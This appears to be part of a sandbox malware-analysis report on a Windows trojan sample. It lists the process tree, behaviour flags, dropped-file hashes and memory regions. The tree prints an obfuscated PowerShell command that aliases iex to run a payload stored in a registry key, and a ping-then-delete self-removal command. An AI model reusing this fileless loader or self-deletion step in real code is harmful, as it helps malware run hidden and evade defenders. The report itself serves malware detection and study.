C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name aovltqc -value gp; new-alias -name mcvwbmthse -value iex; mcvwbmthse ([System.Text.Encoding]::ASCII.GetString((aovltqc "HKCU:Software\AppDataLow\Software\Microsoft\D75FCFBE-4A7B-21B2-0CFB-1EE5005F32E9").ProcessActive))3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3976 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iueeosa4\iueeosa4.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:3736 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES211F.tmp" "c:\Users\Admin\AppData\Local\Temp\iueeosa4\CSCB17F5A79530C4270A14E283DC037A50.TMP"5⤵PID:3064
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\agjxtvz0\agjxtvz0.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:4192 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2268.tmp" "c:\Users\Admin\AppData\Local\Temp\agjxtvz0\CSCE4F7BCD55FB0456580B9FDE74353215B.TMP"5⤵PID:3784
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.TrojanX-gen.25123.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3860 -
C:\Windows\system32\PING.EXEping localhost -n 53⤵
- Runs ping.exe
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:816 -
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,2⤵PID:4980
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
PID:1412
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2656 -ip 26561⤵PID:3572
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\RES211F.tmpFilesize
1KB
MD5ef25666e07709109602716aee8b186b9
SHA11120798d25a52751801e2c8fa1367bf55c59f8fe
SHA2568953cb6a652e1f042717f3a93209cd5d529adf72459b1bfba7742fcc12b383f1
SHA5127714fc4a9e0ee3573835be04671feb104ef778af655048ef64c59810905f3ac1a283e004477fd6a72bf2f62e7fbc272d556af26e1f135789db368342c081b958
-
C:\Users\Admin\AppData\Local\Temp\RES2268.tmpFilesize
1KB
MD52756178ac97691a106c22b256c99e83e
SHA1705e887deda4fe27a243ca393b1d73188811d0b8
SHA25679b7750757e1550a872c5716e9031dfaa69310a30e815105e7baeb4aacd4b4d1
SHA512508641e0c57a2d0043a47922ebe114e675c14571f3856e62a343bd880bdb23e77888df9ec5195cb845701d1f62de58663c11b11ac8345b0f6ee97bd09b9ace44
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j5li2x5v.i20.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\agjxtvz0\agjxtvz0.dllFilesize
3KB
MD5ef9ede2142ab5100b2e1126051eccf3e
SHA1b3fa04338477c17e48a4ec1e4b628224df410f4e
SHA2560c4c569df24d888c7f40b9277b459101a5ec93bcaf98ce90e731bc73ee715bd3
SHA512a1e918d47a16794a74240cbad835004ccf60a67aea3ec5a99d8d7775565cd0d100d97647db30e1938d48897adc8ce601813670c6f122ecaca99a58f6bd6a3e48
-
C:\Users\Admin\AppData\Local\Temp\iueeosa4\iueeosa4.dllFilesize
3KB
MD57f0fc756e586554798fde4df220fdeaa
SHA15d5152515686d5910bf56220c90dd0473f8d86c0
SHA2566fcbf990cf87c7e7698438df018b89dd8f40b9cef8813b5a556eb888ade0a26e
SHA512f7c20e72d8c4cce7adf0f0f99d40d56d9d0e1c03a62ff19aacf99be1fd2cb14a7949c97cc6c6048be199ec79b14578faf2777e03d184e5ef43fb010e18f1822e
-
\??\c:\Users\Admin\AppData\Local\Temp\agjxtvz0\CSCE4F7BCD55FB0456580B9FDE74353215B.TMPFilesize
652B
MD5ad284afc0302acac5ae0991e842da572
SHA13f967b7ee56720b62def560f955476e604f9a6eb
SHA2567f2ad8eaeba47c000baf45683e4a870484cf5dad2fa3bc62fef854ea67e43ecb
SHA5129eb6dbf02d0397fe30c1f6d7cf29f952d8e21ab71b11b3ef9a8fcd7dd021fadbedd67c8bf609faad190ebbd02ea33050b56f0e82bdae047429713d4ccc4f3e82
-
\??\c:\Users\Admin\AppData\Local\Temp\agjxtvz0\agjxtvz0.0.csFilesize
406B
MD5ca8887eacd573690830f71efaf282712
SHA10acd4f49fc8cf6372950792402ec3aeb68569ef8
SHA256568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3
SHA5122a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7
-
\??\c:\Users\Admin\AppData\Local\Temp\agjxtvz0\agjxtvz0.cmdlineFilesize
369B
MD5d18cd6a775cb9bd5279227b974e939e8
SHA16fdda176865fb36405e301f77b759f2ce0bf0ad3
SHA256c51782dd34fbcce6dd4f1f5af922a8888dbbc0a9e9e9fa72e99b514275935d66
SHA512d43d784833bf1f512778504e9bbc073dcc356bd669ae1b6c4e0fa395e091a5a1e370cededb8280f8fb466193b3b98c2f5cffb2e437ada924265477aa5a6003f5
-
\??\c:\Users\Admin\AppData\Local\Temp\iueeosa4\CSCB17F5A79530C4270A14E283DC037A50.TMPFilesize
652B
MD524c017175e28617139b0a69e52be8205
SHA110b1ff05bf49d578231c3fe8e48318db5f7a5976
SHA256ac8ac7a6ca4a7cc3c1a6a5cf9e0e97e7e47af7a069265a387203617da7930bcb
SHA51273aa8369ef282ed06101bf673aeecc481a337c19498c13b63765355b6f4342086bb6409d5e20fd2ad19ae05219aa479cde8618a1a2303c98acf9cb9911424467
-
\??\c:\Users\Admin\AppData\Local\Temp\iueeosa4\iueeosa4.0.csFilesize
405B
MD5caed0b2e2cebaecd1db50994e0c15272
SHA15dfac9382598e0ad2e700de4f833de155c9c65fa
SHA25621210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150
SHA51286dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62
-
\??\c:\Users\Admin\AppData\Local\Temp\iueeosa4\iueeosa4.cmdlineFilesize
369B
MD55458a1fb030eed1777f493b9ab4ff7aa
SHA1597bd30dfd16adf2afeebb74faf452c7c04a41b5
SHA256e7cceffea6adabcc3211ff06abacc34a0ec4a6147e167e24d7010e72e4734b8d
SHA512152c1577476c496884ac68351366e036b927128ae9edffabb5c1a174e891426d46e8f7a4ab209ef1a63c3b1d0adad7b78d0f77510c4d36a70e6f4c5a689bda62
-
memory/816-103-0x00000171B5180000-0x00000171B5181000-memory.dmpFilesize
4KB
-
memory/816-99-0x00000171B52E0000-0x00000171B5384000-memory.dmpFilesize
656KB
-
memory/816-113-0x00000171B52E0000-0x00000171B5384000-memory.dmpFilesize
656KB
-
memory/1412-116-0x00000175D0770000-0x00000175D0814000-memory.dmpFilesize
656KB
-
memory/1412-87-0x00000175D0770000-0x00000175D0814000-memory.dmpFilesize
656KB
-
memory/1412-90-0x00000175D0820000-0x00000175D0821000-memory.dmpFilesize
4KB
-
memory/2656-9-0x00000000023F0000-0x00000000023FB000-memory.dmpFilesize
44KB
-
memory/2656-7-0x0000000002460000-0x0000000002560000-memory.dmpFilesize
1024KB
-
memory/2656-4-0x0000000002410000-0x000000000241D000-memory.dmpFilesize
52KB
-
memory/2656-3-0x0000000000400000-0x000000000228F000-memory.dmpFilesize
30.6MB
-
memory/2656-8-0x0000000000400000-0x000000000228F000-memory.dmpFilesize
30.6MB
-
memory/2656-2-0x00000000023F0000-0x00000000023FB000-memory.dmpFilesize
44KB
-
memory/2656-111-0x0000000000400000-0x000000000228F000-memory.dmpFilesize
30.6MB
-
memory/2656-1-0x0000000002460000-0x0000000002560000-memory.dmpFilesize
1024KB
-
memory/3204-55-0x0000000001120000-0x0000000001121000-memory.dmpFilesize
4KB
-
memory/3204-101-0x00000000092D0000-0x0000000009374000-memory.dmpFilesize
656KB
-
memory/3204-54-0x00000000092D0000-0x0000000009374000-memory.dmpFilesize
656KB
-
memory/3684-74-0x000002B6A08C0000-0x000002B6A0964000-memory.dmpFilesize
656KB
-
memory/3684-75-0x000002B6A0880000-0x000002B6A0881000-memory.dmpFilesize
4KB
-
memory/3684-112-0x000002B6A08C0000-0x000002B6A0964000-memory.dmpFilesize
656KB
-
memory/3840-68-0x00000242D30B0000-0x00000242D3154000-memory.dmpFilesize
656KB
-
memory/3840-69-0x00000242D3160000-0x00000242D3161000-memory.dmpFilesize
4KB
-
memory/3840-110-0x00000242D30B0000-0x00000242D3154000-memory.dmpFilesize
656KB
-
memory/3860-114-0x00000209C2F20000-0x00000209C2FC4000-memory.dmpFilesize
656KB
-
memory/3860-85-0x00000209C2F20000-0x00000209C2FC4000-memory.dmpFilesize
656KB
-
memory/3860-86-0x00000209C2FD0000-0x00000209C2FD1000-memory.dmpFilesize
4KB
-
memory/3976-50-0x000001DAC3090000-0x000001DAC3098000-memory.dmpFilesize
32KB
-
memory/3976-22-0x00007FFA74350000-0x00007FFA74E11000-memory.dmpFilesize
10.8MB
-
memory/3976-52-0x000001DAC32C0000-0x000001DAC32FD000-memory.dmpFilesize
244KB
-
memory/3976-36-0x000001DAAAA80000-0x000001DAAAA88000-memory.dmpFilesize
32KB
-
memory/3976-17-0x000001DAAAA30000-0x000001DAAAA52000-memory.dmpFilesize
136KB
-
memory/3976-23-0x000001DAC2F60000-0x000001DAC2F70000-memory.dmpFilesize
64KB
-
memory/3976-65-0x00007FFA74350000-0x00007FFA74E11000-memory.dmpFilesize
10.8MB
-
memory/3976-66-0x000001DAC32C0000-0x000001DAC32FD000-memory.dmpFilesize
244KB
-
memory/4868-81-0x0000027F73BC0000-0x0000027F73BC1000-memory.dmpFilesize
4KB
-
memory/4868-79-0x0000027F74420000-0x0000027F744C4000-memory.dmpFilesize
656KB
-
memory/4868-115-0x0000027F74420000-0x0000027F744C4000-memory.dmpFilesize
656KB
-
memory/4980-109-0x00000000016B0000-0x0000000001748000-memory.dmpFilesize
608KB
-
memory/4980-106-0x0000000001320000-0x0000000001321000-memory.dmpFilesize
4KB
-
memory/4980-100-0x00000000016B0000-0x0000000001748000-memory.dmpFilesize
608KB